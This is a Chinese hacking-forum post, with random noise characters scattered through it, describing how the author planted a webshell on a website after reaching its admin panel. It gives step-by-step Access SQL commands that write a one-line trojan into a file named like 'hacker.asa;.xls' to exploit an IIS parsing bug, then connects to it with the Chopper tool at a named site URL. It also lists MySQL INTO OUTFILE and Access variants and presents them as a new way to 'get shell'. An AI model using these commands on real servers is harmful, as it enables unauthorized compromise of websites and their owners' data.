好不容易进了后台,发现啥上传啊。备份啊多木有。+ E! \: X3 @+ D
webshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的
5 N1 Y: T9 a# D0 v( g3 |文件。可后台没显示这功能。直接填上文件名字,执行命令的选项出来了,/ j$ |; {! e& v2 ]
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下:4 w3 g- d4 t9 ^
1.create table cmd (a varchar(50))
* n& l' m5 f% @2.insert into cmd (a) values (‘‘)
! S) K# W7 O# u. r2 R1 Q. B3 c3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd7 t$ X& z9 h9 W9 _
(把表cmd的内容导出为物理路径的一个EXCEL文件)
3 f- U% t! a# m+ b1 T% H/ v* R4.drop table cmd
: J0 ~3 W6 [! ^6 |! l/ G+ Q利用IIS的BUG成功拿到了WEBSHELL。
2 i6 m7 {9 Z! u/ _$ C
% n( y P- S; X, Z" I& j0 C直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话3 q2 i/ J" ~, R. `1 Y8 T" n8 C
! t& m- \8 B$ C1 n" d
SQL语句意思解释:
1 r2 I& x5 z) q' V- S5 k 第一句
: p) {% w+ ^; h* j0 W, E 建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
) W4 ]+ g: e5 d0 V+ n4 ` n m) ]6 x
第二句
" F! b# K$ S- h* l8 T/ |- p3 j 在表cmd的a字段插入一句话木马
" H/ n) T* R, Y, }; D& ^6 y, P8 O. f 第三句* I" E$ Z8 W* I, M* i8 n& |) L
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件
7 ?% e" z7 x4 _. l
9 W1 p4 U0 e1 Q' b+ E! a8 g) y 第四句3 n$ i/ ^* Y! `7 x
删除建立的cmd表) _6 o; j4 ~2 _% u" Z _) V
6 t9 f5 M( z ^: [* n 以下内容为测试:
3 l% ?/ w- y8 G: s! Y( t4 R9 S2 X Access利用后台SQL执行命令功能导出WebShell:- a3 j X/ a6 D
这个更简单:
/ q# z$ L! o+ o/ ~) ^) W0 D2 I [ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]. e7 M: s% ?( u: r6 W
或者
* z5 x1 ?( e, }& c1 _3 L& l e [ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]
8 L5 r4 F9 ^7 C7 V: f
7 U2 l" j7 b4 ?$ F3 h 后台有执行SQL语句功能(vote为已知表段)7 D; H# ^- r7 V* f
希望对大家有所帮助拿shell的又一个思路" P6 N" o3 o" e, g. o, a* k
|